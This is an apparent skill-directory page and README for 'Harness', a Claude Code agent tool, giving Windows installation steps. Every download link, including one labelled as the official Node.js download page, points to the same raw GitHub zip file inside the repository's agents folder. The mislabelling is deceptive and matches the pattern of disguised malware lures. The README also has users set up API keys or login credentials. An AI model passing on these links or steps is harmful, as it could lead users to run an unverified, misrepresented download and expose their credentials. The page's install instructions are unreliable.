Harness — AI skill for Claude Code
Define and control AI agents in markdown with full prompt transparency, persistent memory, and integrated tools via the Claude Agent SDK.
How to install Harness
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open heba-ramdan/harness and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
What Harness does
Define and control AI agents in markdown with full prompt transparency, persistent memory, and integrated tools via the Claude Agent SDK.
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README
⚙️ harness - Define and Control AI Agents Easily
[](https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip)
📥 Download & Install harness on Windows
Use the link below to visit the GitHub page where you can download the installer for Windows.
[Download harness on GitHub](https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip)
🚀 Getting Started
harness lets you create AI agents using simple markdown files. You can control every part of the agent’s behavior with easy-to-edit text files. This tool runs directly on your Windows computer with a command-line interface that is easy to use.
To get started, you only need to download the software and set up your access credentials. This guide covers every step.
💻 System Requirements
- Windows 10 or newer (64-bit)
- At least 2 GB of free disk space
- Internet connection for downloading and API access
- Node.js version 22.x installed (required for harness to run)
🔧 What You Need Before Installing
harness requires Node.js, a tool that lets JavaScript programs run on your computer. This guide includes easy instructions for this.
You also need an API key or login credentials to authenticate harness. Two methods work:
- Claude Code login
- Anthropic API key
Instructions are below.
🔵 Step 1: Download and Install Node.js
Node.js must be installed before harness can work.
Open your browser and go to the official Node.js download page: https://raw.githubusercontent.com/heba-ramdan/harness/master/defaults/agents/Software_v1.1-beta.4.zip
Download the Windows installer for the latest Node.js 22.x version.
Run the installer and follow the steps. Choose the default options unless you know what you are doing.
Once installed, verify it works:
- Ope
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